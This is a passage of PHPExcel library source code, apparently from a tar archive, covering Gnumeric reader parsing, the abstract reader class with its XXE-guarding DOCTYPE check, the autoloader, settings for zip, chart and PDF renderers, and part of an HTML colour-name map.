(isset($sheet->Rows))) { // Row Heights $rowAttributes = $sheet->Rows->attributes(); $defaultHeight = $rowAttributes['DefaultSizePts']; $r = 0; foreach ($sheet->Rows->RowInfo as $rowOverride) { $rowAttributes = $rowOverride->attributes(); $row = $rowAttributes['No']; $rowHeight = $rowAttributes['Unit']; $hidden = ((isset($rowAttributes['Hidden'])) && ($rowAttributes['Hidden'] == '1')) ? true : false; $rowCount = (isset($rowAttributes['Count'])) ? $rowAttributes['Count'] : 1; while ($r < $row) { ++$r; $objPHPExcel->getActiveSheet()->getRowDimension($r)->setRowHeight($defaultHeight); } while (($r < ($row+$rowCount)) && ($r < $maxRow)) { ++$r; $objPHPExcel->getActiveSheet()->getRowDimension($r)->setRowHeight($rowHeight); if ($hidden) { $objPHPExcel->getActiveSheet()->getRowDimension($r)->setVisible(false); } } } while ($r < $maxRow) { ++$r; $objPHPExcel->getActiveSheet()->getRowDimension($r)->setRowHeight($defaultHeight); } } // Handle Merged Cells in this worksheet if (isset($sheet->MergedRegions)) { foreach ($sheet->MergedRegions->Merge as $mergeCells) { if (strpos($mergeCells, ':') !== false) { $objPHPExcel->getActiveSheet()->mergeCells($mergeCells); } } } $worksheetID++; } // Loop through definedNames (global named ranges) if (isset($gnmXML->Names)) { foreach ($gnmXML->Names->Name as $namedRange) { $name = (string) $namedRange->name; $range = (string) $namedRange->value; if (stripos($range, '#REF!') !== false) { continue; } $range = explode('!', $range); $range[0] = trim($range[0], "'"); if ($worksheet = $objPHPExcel->getSheetByName($range[0])) { $extractedRange = str_replace('$', '', $range[1]); $objPHPExcel->addNamedRange(new PHPExcel_NamedRange($name, $worksheet, $extractedRange)); } } } // Return return $objPHPExcel; } private static function parseBorderAttributes($borderAttributes) { $styleArray = array(); if (isset($borderAttributes["Color"])) { $styleArray['color']['rgb'] = self::parseGnumericColour($borderAttributes["Color"]); } switch ($borderAttributes["Style"]) { case '0': $styleArray['style'] = PHPExcel_Style_Border::BORDER_NONE; break; case '1': $styleArray['style'] = PHPExcel_Style_Border::BORDER_THIN; break; case '2': $styleArray['style'] = PHPExcel_Style_Border::BORDER_MEDIUM; break; case '3': $styleArray['style'] = PHPExcel_Style_Border::BORDER_SLANTDASHDOT; break; case '4': $styleArray['style'] = PHPExcel_Style_Border::BORDER_DASHED; break; case '5': $styleArray['style'] = PHPExcel_Style_Border::BORDER_THICK; break; case '6': $styleArray['style'] = PHPExcel_Style_Border::BORDER_DOUBLE; break; case '7': $styleArray['style'] = PHPExcel_Style_Border::BORDER_DOTTED; break; case '8': $styleArray['style'] = PHPExcel_Style_Border::BORDER_MEDIUMDASHED; break; case '9': $styleArray['style'] = PHPExcel_Style_Border::BORDER_DASHDOT; break; case '10': $styleArray['style'] = PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT; break; case '11': $styleArray['style'] = PHPExcel_Style_Border::BORDER_DASHDOTDOT; break; case '12': $styleArray['style'] = PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT; break; case '13': $styleArray['style'] = PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT; break; } return $styleArray; } private function parseRichText($is = '') { $value = new PHPExcel_RichText(); $value->createText($is); return $value; } private static function parseGnumericColour($gnmColour) { list($gnmR, $gnmG, $gnmB) = explode(':', $gnmColour); $gnmR = substr(str_pad($gnmR, 4, '0', STR_PAD_RIGHT), 0, 2); $gnmG = substr(str_pad($gnmG, 4, '0', STR_PAD_RIGHT), 0, 2); $gnmB = substr(str_pad($gnmB, 4, '0', STR_PAD_RIGHT), 0, 2); return $gnmR . $gnmG . $gnmB; } } PHPExcel/Reader/Abstract.php 0000644 00000021200 14642534110 0011625 0 ustar 00 <?php /** * PHPExcel_Reader_Abstract * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ abstract class PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Read data only? * Identifies whether the Reader should only read data values for cells, and ignore any formatting information; * or whether it should read both data and formatting * * @var boolean */ protected $readDataOnly = false; /** * Read empty cells? * Identifies whether the Reader should read data values for cells all cells, or should ignore cells containing * null value or empty string * * @var boolean */ protected $readEmptyCells = true; /** * Read charts that are defined in the workbook? * Identifies whether the Reader should read the definitions for any charts that exist in the workbook; * * @var boolean */ protected $includeCharts = false; /** * Restrict which sheets should be loaded? * This property holds an array of worksheet names to be loaded. If null, then all worksheets will be loaded. * * @var array of string */ protected $loadSheetsOnly; /** * PHPExcel_Reader_IReadFilter instance * * @var PHPExcel_Reader_IReadFilter */ protected $readFilter; protected $fileHandle = null; /** * Read data only? * If this is true, then the Reader will only read data values for cells, it will not read any formatting information. * If false (the default) it will read data and formatting. * * @return boolean */ public function getReadDataOnly() { return $this->readDataOnly; } /** * Set read data only * Set to true, to advise the Reader only to read data values for cells, and to ignore any formatting information. * Set to false (the default) to advise the Reader to read both data and formatting for cells. * * @param boolean $pValue * * @return PHPExcel_Reader_IReader */ public function setReadDataOnly($pValue = false) { $this->readDataOnly = $pValue; return $this; } /** * Read empty cells? * If this is true (the default), then the Reader will read data values for all cells, irrespective of value. * If false it will not read data for cells containing a null value or an empty string. * * @return boolean */ public function getReadEmptyCells() { return $this->readEmptyCells; } /** * Set read empty cells * Set to true (the default) to advise the Reader read data values for all cells, irrespective of value. * Set to false to advise the Reader to ignore cells containing a null value or an empty string. * * @param boolean $pValue * * @return PHPExcel_Reader_IReader */ public function setReadEmptyCells($pValue = true) { $this->readEmptyCells = $pValue; return $this; } /** * Read charts in workbook? * If this is true, then the Reader will include any charts that exist in the workbook. * Note that a ReadDataOnly value of false overrides, and charts won't be read regardless of the IncludeCharts value. * If false (the default) it will ignore any charts defined in the workbook file. * * @return boolean */ public function getIncludeCharts() { return $this->includeCharts; } /** * Set read charts in workbook * Set to true, to advise the Reader to include any charts that exist in the workbook. * Note that a ReadDataOnly value of false overrides, and charts won't be read regardless of the IncludeCharts value. * Set to false (the default) to discard charts. * * @param boolean $pValue * * @return PHPExcel_Reader_IReader */ public function setIncludeCharts($pValue = false) { $this->includeCharts = (boolean) $pValue; return $this; } /** * Get which sheets to load * Returns either an array of worksheet names (the list of worksheets that should be loaded), or a null * indicating that all worksheets in the workbook should be loaded. * * @return mixed */ public function getLoadSheetsOnly() { return $this->loadSheetsOnly; } /** * Set which sheets to load * * @param mixed $value * This should be either an array of worksheet names to be loaded, or a string containing a single worksheet name. * If NULL, then it tells the Reader to read all worksheets in the workbook * * @return PHPExcel_Reader_IReader */ public function setLoadSheetsOnly($value = null) { if ($value === null) { return $this->setLoadAllSheets(); } $this->loadSheetsOnly = is_array($value) ? $value : array($value); return $this; } /** * Set all sheets to load * Tells the Reader to load all worksheets from the workbook. * * @return PHPExcel_Reader_IReader */ public function setLoadAllSheets() { $this->loadSheetsOnly = null; return $this; } /** * Read filter * * @return PHPExcel_Reader_IReadFilter */ public function getReadFilter() { return $this->readFilter; } /** * Set read filter * * @param PHPExcel_Reader_IReadFilter $pValue * @return PHPExcel_Reader_IReader */ public function setReadFilter(PHPExcel_Reader_IReadFilter $pValue) { $this->readFilter = $pValue; return $this; } /** * Open file for reading * * @param string $pFilename * @throws PHPExcel_Reader_Exception * @return resource */ protected function openFile($pFilename) { // Check if file exists if (!file_exists($pFilename) || !is_readable($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } // Open file $this->fileHandle = fopen($pFilename, 'r'); if ($this->fileHandle === false) { throw new PHPExcel_Reader_Exception("Could not open file " . $pFilename . " for reading."); } } /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean * @throws PHPExcel_Reader_Exception */ public function canRead($pFilename) { // Check if file exists try { $this->openFile($pFilename); } catch (Exception $e) { return false; } $readable = $this->isValidFormat(); fclose($this->fileHandle); return $readable; } /** * Scan theXML for use of <!ENTITY to prevent XXE/XEE attacks * * @param string $xml * @throws PHPExcel_Reader_Exception */ public function securityScan($xml) { $pattern = '/\\0?' . implode('\\0?', str_split('<!DOCTYPE')) . '\\0?/'; if (preg_match($pattern, $xml)) { throw new PHPExcel_Reader_Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks'); } return $xml; } /** * Scan theXML for use of <!ENTITY to prevent XXE/XEE attacks * * @param string $filestream * @throws PHPExcel_Reader_Exception */ public function securityScanFile($filestream) { return $this->securityScan(file_get_contents($filestream)); } } PHPExcel/Autoloader.php 0000644 00000005504 14642534110 0010770 0 ustar 00 <?php PHPExcel_Autoloader::register(); // As we always try to run the autoloader before anything else, we can use it to do a few // simple checks and initialisations //PHPExcel_Shared_ZipStreamWrapper::register(); // check mbstring.func_overload if (ini_get('mbstring.func_overload') & 2) { throw new PHPExcel_Exception('Multibyte function overloading in PHP must be disabled for string functions (2).'); } PHPExcel_Shared_String::buildCharacterSets(); /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Autoloader { /** * Register the Autoloader with SPL * */ public static function register() { if (function_exists('__autoload')) { // Register any existing autoloader function with SPL, so we don't get any clashes spl_autoload_register('__autoload'); } // Register ourselves with SPL if (version_compare(PHP_VERSION, '5.3.0') >= 0) { return spl_autoload_register(array('PHPExcel_Autoloader', 'load'), true, true); } else { return spl_autoload_register(array('PHPExcel_Autoloader', 'load')); } } /** * Autoload a class identified by name * * @param string $pClassName Name of the object to load */ public static function load($pClassName) { if ((class_exists($pClassName, false)) || (strpos($pClassName, 'PHPExcel') !== 0)) { // Either already loaded, or not a PHPExcel class request return false; } $pClassFilePath = PHPEXCEL_ROOT . str_replace('_', DIRECTORY_SEPARATOR, $pClassName) . '.php'; if ((file_exists($pClassFilePath) === false) || (is_readable($pClassFilePath) === false)) { // Can't load return false; } require($pClassFilePath); } } PHPExcel/Settings.php 0000644 00000027244 14642534110 0010476 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Settings * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Settings * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Settings { /** constants */ /** Available Zip library classes */ const PCLZIP = 'PHPExcel_Shared_ZipArchive'; const ZIPARCHIVE = 'ZipArchive'; /** Optional Chart Rendering libraries */ const CHART_RENDERER_JPGRAPH = 'jpgraph'; /** Optional PDF Rendering libraries */ const PDF_RENDERER_TCPDF = 'tcPDF'; const PDF_RENDERER_DOMPDF = 'DomPDF'; const PDF_RENDERER_MPDF = 'mPDF'; private static $chartRenderers = array( self::CHART_RENDERER_JPGRAPH, ); private static $pdfRenderers = array( self::PDF_RENDERER_TCPDF, self::PDF_RENDERER_DOMPDF, self::PDF_RENDERER_MPDF, ); /** * Name of the class used for Zip file management * e.g. * ZipArchive * * @var string */ private static $zipClass = self::ZIPARCHIVE; /** * Name of the external Library used for rendering charts * e.g. * jpgraph * * @var string */ private static $chartRendererName; /** * Directory Path to the external Library used for rendering charts * * @var string */ private static $chartRendererPath; /** * Name of the external Library used for rendering PDF files * e.g. * mPDF * * @var string */ private static $pdfRendererName; /** * Directory Path to the external Library used for rendering PDF files * * @var string */ private static $pdfRendererPath; /** * Default options for libxml loader * * @var int */ private static $libXmlLoaderOptions = null; /** * Set the Zip handler Class that PHPExcel should use for Zip file management (PCLZip or ZipArchive) * * @param string $zipClass The Zip handler class that PHPExcel should use for Zip file management * e.g. PHPExcel_Settings::PCLZip or PHPExcel_Settings::ZipArchive * @return boolean Success or failure */ public static function setZipClass($zipClass) { if (($zipClass === self::PCLZIP) || ($zipClass === self::ZIPARCHIVE)) { self::$zipClass = $zipClass; return true; } return false; } /** * Return the name of the Zip handler Class that PHPExcel is configured to use (PCLZip or ZipArchive) * or Zip file management * * @return string Name of the Zip handler Class that PHPExcel is configured to use * for Zip file management * e.g. PHPExcel_Settings::PCLZip or PHPExcel_Settings::ZipArchive */ public static function getZipClass() { return self::$zipClass; } /** * Return the name of the method that is currently configured for cell cacheing * * @return string Name of the cacheing method */ public static function getCacheStorageMethod() { return PHPExcel_CachedObjectStorageFactory::getCacheStorageMethod(); } /** * Return the name of the class that is currently being used for cell cacheing * * @return string Name of the class currently being used for cacheing */ public static function getCacheStorageClass() { return PHPExcel_CachedObjectStorageFactory::getCacheStorageClass(); } /** * Set the method that should be used for cell cacheing * * @param string $method Name of the cacheing method * @param array $arguments Optional configuration arguments for the cacheing method * @return boolean Success or failure */ public static function setCacheStorageMethod($method = PHPExcel_CachedObjectStorageFactory::cache_in_memory, $arguments = array()) { return PHPExcel_CachedObjectStorageFactory::initialize($method, $arguments); } /** * Set the locale code to use for formula translations and any special formatting * * @param string $locale The locale code to use (e.g. "fr" or "pt_br" or "en_uk") * @return boolean Success or failure */ public static function setLocale($locale = 'en_us') { return PHPExcel_Calculation::getInstance()->setLocale($locale); } /** * Set details of the external library that PHPExcel should use for rendering charts * * @param string $libraryName Internal reference name of the library * e.g. PHPExcel_Settings::CHART_RENDERER_JPGRAPH * @param string $libraryBaseDir Directory path to the library's base folder * * @return boolean Success or failure */ public static function setChartRenderer($libraryName, $libraryBaseDir) { if (!self::setChartRendererName($libraryName)) { return false; } return self::setChartRendererPath($libraryBaseDir); } /** * Identify to PHPExcel the external library to use for rendering charts * * @param string $libraryName Internal reference name of the library * e.g. PHPExcel_Settings::CHART_RENDERER_JPGRAPH * * @return boolean Success or failure */ public static function setChartRendererName($libraryName) { if (!in_array($libraryName, self::$chartRenderers)) { return false; } self::$chartRendererName = $libraryName; return true; } /** * Tell PHPExcel where to find the external library to use for rendering charts * * @param string $libraryBaseDir Directory path to the library's base folder * @return boolean Success or failure */ public static function setChartRendererPath($libraryBaseDir) { if ((file_exists($libraryBaseDir) === false) || (is_readable($libraryBaseDir) === false)) { return false; } self::$chartRendererPath = $libraryBaseDir; return true; } /** * Return the Chart Rendering Library that PHPExcel is currently configured to use (e.g. jpgraph) * * @return string|NULL Internal reference name of the Chart Rendering Library that PHPExcel is * currently configured to use * e.g. PHPExcel_Settings::CHART_RENDERER_JPGRAPH */ public static function getChartRendererName() { return self::$chartRendererName; } /** * Return the directory path to the Chart Rendering Library that PHPExcel is currently configured to use * * @return string|NULL Directory Path to the Chart Rendering Library that PHPExcel is * currently configured to use */ public static function getChartRendererPath() { return self::$chartRendererPath; } /** * Set details of the external library that PHPExcel should use for rendering PDF files * * @param string $libraryName Internal reference name of the library * e.g. PHPExcel_Settings::PDF_RENDERER_TCPDF, * PHPExcel_Settings::PDF_RENDERER_DOMPDF * or PHPExcel_Settings::PDF_RENDERER_MPDF * @param string $libraryBaseDir Directory path to the library's base folder * * @return boolean Success or failure */ public static function setPdfRenderer($libraryName, $libraryBaseDir) { if (!self::setPdfRendererName($libraryName)) { return false; } return self::setPdfRendererPath($libraryBaseDir); } /** * Identify to PHPExcel the external library to use for rendering PDF files * * @param string $libraryName Internal reference name of the library * e.g. PHPExcel_Settings::PDF_RENDERER_TCPDF, * PHPExcel_Settings::PDF_RENDERER_DOMPDF * or PHPExcel_Settings::PDF_RENDERER_MPDF * * @return boolean Success or failure */ public static function setPdfRendererName($libraryName) { if (!in_array($libraryName, self::$pdfRenderers)) { return false; } self::$pdfRendererName = $libraryName; return true; } /** * Tell PHPExcel where to find the external library to use for rendering PDF files * * @param string $libraryBaseDir Directory path to the library's base folder * @return boolean Success or failure */ public static function setPdfRendererPath($libraryBaseDir) { if ((file_exists($libraryBaseDir) === false) || (is_readable($libraryBaseDir) === false)) { return false; } self::$pdfRendererPath = $libraryBaseDir; return true; } /** * Return the PDF Rendering Library that PHPExcel is currently configured to use (e.g. dompdf) * * @return string|NULL Internal reference name of the PDF Rendering Library that PHPExcel is * currently configured to use * e.g. PHPExcel_Settings::PDF_RENDERER_TCPDF, * PHPExcel_Settings::PDF_RENDERER_DOMPDF * or PHPExcel_Settings::PDF_RENDERER_MPDF */ public static function getPdfRendererName() { return self::$pdfRendererName; } /** * Return the directory path to the PDF Rendering Library that PHPExcel is currently configured to use * * @return string|NULL Directory Path to the PDF Rendering Library that PHPExcel is * currently configured to use */ public static function getPdfRendererPath() { return self::$pdfRendererPath; } /** * Set options for libxml loader * * @param int $options Options for libxml loader */ public static function setLibXmlLoaderOptions($options = null) { if (is_null($options) && defined('LIBXML_DTDLOAD')) { $options = LIBXML_DTDLOAD | LIBXML_DTDATTR; } if (version_compare(PHP_VERSION, '5.2.11') >= 0) { @libxml_disable_entity_loader((bool) $options); } self::$libXmlLoaderOptions = $options; } /** * Get defined options for libxml loader. * Defaults to LIBXML_DTDLOAD | LIBXML_DTDATTR when not set explicitly. * * @return int Default options for libxml loader */ public static function getLibXmlLoaderOptions() { if (is_null(self::$libXmlLoaderOptions) && defined('LIBXML_DTDLOAD')) { self::setLibXmlLoaderOptions(LIBXML_DTDLOAD | LIBXML_DTDATTR); } elseif (is_null(self::$libXmlLoaderOptions)) { self::$libXmlLoaderOptions = true; } if (version_compare(PHP_VERSION, '5.2.11') >= 0) { @libxml_disable_entity_loader((bool) self::$libXmlLoaderOptions); } return self::$libXmlLoaderOptions; } } PHPExcel/Helper/HTML.php 0000644 00000060334 14642534110 0010656 0 ustar 00 <?php class PHPExcel_Helper_HTML { protected static $colourMap = array( 'aliceblue' => 'f0f8ff', 'antiquewhite' => 'faebd7', 'antiquewhite1' => 'ffefdb', 'antiquewhite2' => 'eedfcc', 'antiquewhite3' => 'cdc0b0', 'antiquewhite4' => '8b8378', 'aqua' => '00ffff', 'aquamarine1' => '7fffd4', 'aquamarine2' => '76eec6', 'aquamarine4' => '458b74', 'azure1' => 'f0ffff', 'azure2' => 'e0eeee', 'azure3' => 'c1cdcd', 'azure4' => '838b8b', 'beige' => 'f5f5dc', 'bisque1' => 'ffe4c4', 'bisque2' => 'eed5b7', 'bisque3' => 'cdb79e', 'bisque4' => '8b7d6b', 'black' => '000000', 'blanchedalmond' => 'ffebcd', 'blue' => '0000ff', 'blue1' => '0000ff', 'blue2' => '0000ee', 'blue4' => '00008b', 'blueviolet' => '8a2be2', 'brown' => 'a52a2a', 'brown1' => 'ff4040', 'brown2' => 'ee3b3b', 'brown3' => 'cd3333', 'brown4' => '8b2323', 'burlywood' => 'deb887', 'burlywood1' => 'ffd39b', 'burlywood2' => 'eec591', 'burlywood3' => 'cdaa7d', 'burlywood4' => '8b7355', 'cadetblue' => '5f9ea0', 'cadetblue1' => '98f5ff', 'cadetblue2' => '8ee5ee', 'cadetblue3' => '7ac5cd', 'cadetblue4' => '53868b', 'chartreuse1' => '7fff00', 'chartreuse2' => '76ee00', 'chartreuse3' => '66cd00', 'chartreuse4' => '458b00', 'chocolate' => 'd2691e', 'chocolate1' => 'ff7f24', 'chocolate2' => 'ee7621', 'chocolate3' => 'cd661d', 'coral' => 'ff7f50', 'coral1' => 'ff7256', 'coral2' => 'ee6a50', 'coral3' => 'cd5b45', 'coral4' => '8b3e2f', 'cornflowerblue' => '6495ed', 'cornsilk1' => 'fff8dc', 'cornsilk2' => 'eee8cd', 'cornsilk3' => 'cdc8b1', 'cornsilk4' => '8b8878', 'cyan1' => '00ffff', 'cyan2' => '00eeee', 'cyan3' => '00cdcd', 'cyan4' => '008b8b', 'darkgoldenrod' => 'b8860b', 'darkgoldenrod1' => 'ffb90f', 'darkgoldenrod2' => 'eead0e', 'darkgoldenrod3' => 'cd950c', 'darkgoldenrod4' => '8b6508', 'darkgreen' => '006400', 'darkkhaki' => 'bdb76b', 'darkolivegreen' => '556b2f', 'darkolivegreen1' => 'caff70', 'darkolivegreen2' => 'bcee68', 'darkolivegreen3' => 'a2cd5a', 'darkolivegreen4' => '6e8b3d', 'darkorange' => 'ff8c00', 'darkorange1' => 'ff7f00', 'darkorange2' => 'ee7600', 'darkorange3' => 'cd6600', 'darkorange4' => '8b4500', 'darkorchid' => '9932cc', 'darkorchid1' => 'bf3eff', 'darkorchid2' => 'b23aee', 'darkorchid3' => '9a32cd', 'darkorchid4' => '68228b', 'darksalmon' => 'e9967a', 'darkseagreen' => '8fbc8f', 'darkseagreen1' => 'c1ffc1', 'darkseagreen2' => 'b4eeb4', 'darkseagreen3' => '9bcd9b', 'darkseagreen4' => '698b69', 'darkslateblue' => '483d8b', 'darkslategray' => '2f4f4f', 'darkslategray1' => '97ffff', 'darkslategray2' => '8deeee', 'darkslategray3' => '79cdcd', 'darkslategray4' => '528b8b', 'darkturquoise' => '00ced1', 'darkviolet' => '9400d3', 'deeppink1' => 'ff1493', 'deeppink2' => 'ee1289', 'deeppink3' => 'cd1076', 'deeppink4' => '8b0a50', 'deepskyblue1' => '00bfff', 'deepskyblue2' => '00b2ee', 'deepskyblue3' => '009acd', 'deepskyblue4' => '00688b', 'dimgray' => '696969', 'dodgerblue1' => '1e90ff', 'dodgerblue2' => '1c86ee', 'dodgerblue3' => '1874cd', 'dodgerblue4' => '104e8b', 'firebrick' => 'b22222', 'firebrick1' => 'ff3030', 'firebrick2' => 'ee2c2c', 'firebrick3' => 'cd2626', 'firebrick4' => '8b1a1a', 'floralwhite' => 'fffaf0', 'forestgreen' => '228b22', 'fuchsia' => 'ff00ff', 'gainsboro' => 'dcdcdc', 'ghostwhite' => 'f8f8ff', 'gold1' => 'ffd700', 'gold2' => 'eec900', 'gold3' => 'cdad00', 'gold4' => '8b7500', 'goldenrod' => 'daa520', 'goldenrod1' => 'ffc125', 'goldenrod2' => 'eeb422', 'goldenrod3' => 'cd9b1d', 'goldenrod4' => '8b6914', 'gray' => 'bebebe', 'gray1' => '030303', 'gray10' => '1a1a1a', 'gray11' => '1c1c1c', 'gray12' => '1f1f1f', 'gray13' => '212121', 'gray14' => '242424', 'gray15' => '262626', 'gray16' => '292929', 'gray17' => '2b2b2b', 'gray18' => '2e2e2e', 'gray19' => '303030', 'gray2' => '050505', 'gray20' => '333333', 'gray21' => '363636', 'gray22' => '383838', 'gray23' => '3b3b3b', 'gray24' => '3d3d3d', 'gray25' => '404040', 'gray26' => '424242', 'gray27' => '454545', 'gray28' => '474747', 'gray29' => '4a4a4a', 'gray3' => '080808', 'gray30' => '4d4d4d', 'gray31' => '4f4f4f', 'gray32' => '525252', 'gray33' => '545454', 'gray34' => '575757', 'gray35' => '595959', 'gray36' => '5c5c5c', 'gray37' => '5e5e5e', 'gray38' => '616161', 'gray39' => '636363', 'gray4' => '0a0a0a', 'gray40' => '666666', 'gray41' => '696969', 'gray42' => '6b6b6b', 'gray43' => '6e6e6e', 'gray44' => '707070', 'gray45' => '737373', 'gray46' => '757575', 'gray47' => '787878', 'gray48' => '7a7a7a', 'gray49' => '7d7d7d', 'gray5' => '0d0d0d', 'gray50' => '7f7f7f', 'gray51' => '828282', 'gray52' => '858585', 'gray53' => '878787', 'gray54' => '8a8a8a', 'gray55' => '8c8c8c', 'gray56' => '8f8f8f', 'gray57' => '919191', 'gray58' => '949494', 'gray59' => '969696', 'gray6' => '0f0f0f', 'gray60' => '999999', 'gray61' => '9c9c9c', 'gray62' => '9e9e9e', 'gray63' => 'a1a1a1', 'gray64' => 'a3a3a3', 'gray65' => 'a6a6a6', 'gray66' => 'a8a8a8', 'gray67' => 'ababab', 'gray68' => 'adadad', 'gray69' => 'b0b0b0', 'gray7' => '121212', 'gray70' => 'b3b3b3', 'gray71' => 'b5b5b5', 'gray72' => 'b8b8b8', 'gray73' => 'bababa', 'gray74' => 'bdbdbd', 'gray75' => 'bfbfbf', 'gray76' => 'c2c2c2', 'gray77' => 'c4c4c4', 'gray78' => 'c7c7c7', 'gray79' => 'c9c9c9', 'gray8' => '141414', 'gray80' => 'cccccc', 'gray81' => 'cfcfcf', 'gray82' => 'd1d1d1', 'gray83' => 'd4d4d4', 'gray84' => 'd6d6d6', 'gray85' => 'd9d9d9', 'gray86' => 'dbdbdb', 'gray87' => 'dedede', 'gray88' => 'e0e0e0', 'gray89' => 'e3e3e3', 'gray9' => '171717', 'gray90' => 'e5e5e5', 'gray91' => 'e8e8e8', 'gray92' => 'ebebeb', 'gray93' => 'ededed', 'gray94' => 'f0f0f0', 'gray95' => 'f2f2f2', 'gray97' => 'f7f7f7', 'gray98' => 'fafafa', 'gray99' => 'fcfcfc', 'green' => '00ff00', 'green1' => '00ff00', 'green2' => '00ee00', 'green3' => '00cd00', 'green4' => '008b00', 'greenyellow' => 'adff2f', 'honeydew1' => 'f0fff0', 'honeydew2' => 'e0eee0', 'honeydew3' => 'c1cdc1', 'honeydew4' => '838b83', 'hotpink' => 'ff69b4', 'hotpink1' => 'ff6eb4', 'hotpink2' => 'ee6aa7', 'hotpink3' => 'cd6090', 'hotpink4' => '8b3a62', 'indianred' => 'cd5c5c', 'indianred1' => 'ff6a6a', 'indianred2' => 'ee6363', 'indianred3' => 'cd5555', 'indianred4' => '8b3a3a', 'ivory1' => 'fffff0', 'ivory2' => 'eeeee0', 'ivory3' => 'cdcdc1', 'ivory4' => '8b8b83', 'khaki' => 'f0e68c', 'khaki1' => 'fff68f', 'khaki2' => 'eee685', 'khaki3' => 'cdc673', 'khaki4' => '8b864e', 'lavender' => 'e6e6fa', 'lavenderblush1' => 'fff0f5', 'lavenderblush2' => 'eee0e5', 'lavenderblush3' => 'cdc1c5', 'lavenderblush4' => '8b8386', 'lawngreen' => '7cfc00', 'lemonchiffon1' => 'fffacd', 'lemonchiffon2' => 'eee9bf', 'lemonchiffon3' => 'cdc9a5', 'lemonchiffon4' => '8b8970', 'light' => 'eedd82', 'lightblue' => 'add8e6', 'lightblue1' => 'bfefff', 'lightblue2' => 'b2dfee', 'lightblue3' => '9ac0cd', 'lightblue4' => '68838b', 'lightcoral' => 'f08080', 'lightcyan1' => 'e0ffff', 'lightcyan2' => 'd1eeee', 'lightcyan3' => 'b4cdcd', 'lightcyan4' => '7a8b8b', 'lightgoldenrod1' => 'ffec8b', 'lightgoldenrod2' => 'eedc82', 'lightgoldenrod3' => 'cdbe70', 'lightgoldenrod4' => '8b814c', 'lightgoldenrodyellow' => 'fafad2', 'lightgray' => 'd3d3d3', 'lightpink' => 'ffb6c1', 'lightpink1' => 'ffaeb9', 'lightpink2' => 'eea2ad', 'lightpink3' => 'cd8c95', 'lightpink4' => '8b5f65', 'lightsalmon1' => 'ffa07a', 'lightsalmon2' => 'ee9572', 'lightsalmon3' => 'cd8162', 'lightsalmon4' => '8b5742', 'lightseagreen' => '20b2aa', 'lightskyblue' => '87cefa', 'lightskyblue1' => 'b0e2ff', 'lightskyblue2' => 'a4d3ee', 'lightskyblue3' => '8db6cd', 'lightskyblue4' => '607b8b', 'lightslateblue' => '8470ff', 'lightslategray' => '778899', 'lightsteelblue' => 'b0c4de', 'lightsteelblue1' => 'cae1ff', 'lightsteelblue2' => 'bcd2ee', 'lightsteelblue3' => 'a2b5cd', 'lightsteelblue4' => '6e7b8b', 'lightyellow1' => 'ffffe0', 'lightyellow2' => 'eeeed1', 'lightyellow3' => 'cdcdb4', 'lightyellow4' => '8b8b7a', 'lime' => '00ff00', 'limegreen' => '32cd32', 'linen' => 'faf0e6', 'magenta' => 'ff00ff', 'magenta2' => 'ee00ee', 'magenta3' => 'cd00cd', 'magenta4' => '8b008b', 'maroon' => 'b03060', 'maroon1' => 'ff34b3', 'maroon2' => 'ee30a7', 'maroon3' => 'cd2990', 'maroon4' => '8b1c62', 'medium' => '66cdaa', 'mediumaquamarine' => '66cdaa', 'mediumblue' => '0000cd', 'mediumorchid' => 'ba55d3', 'mediumorchid1' => 'e066ff', 'mediumorchid2' => 'd15fee', 'mediumorchid3' => 'b452cd', 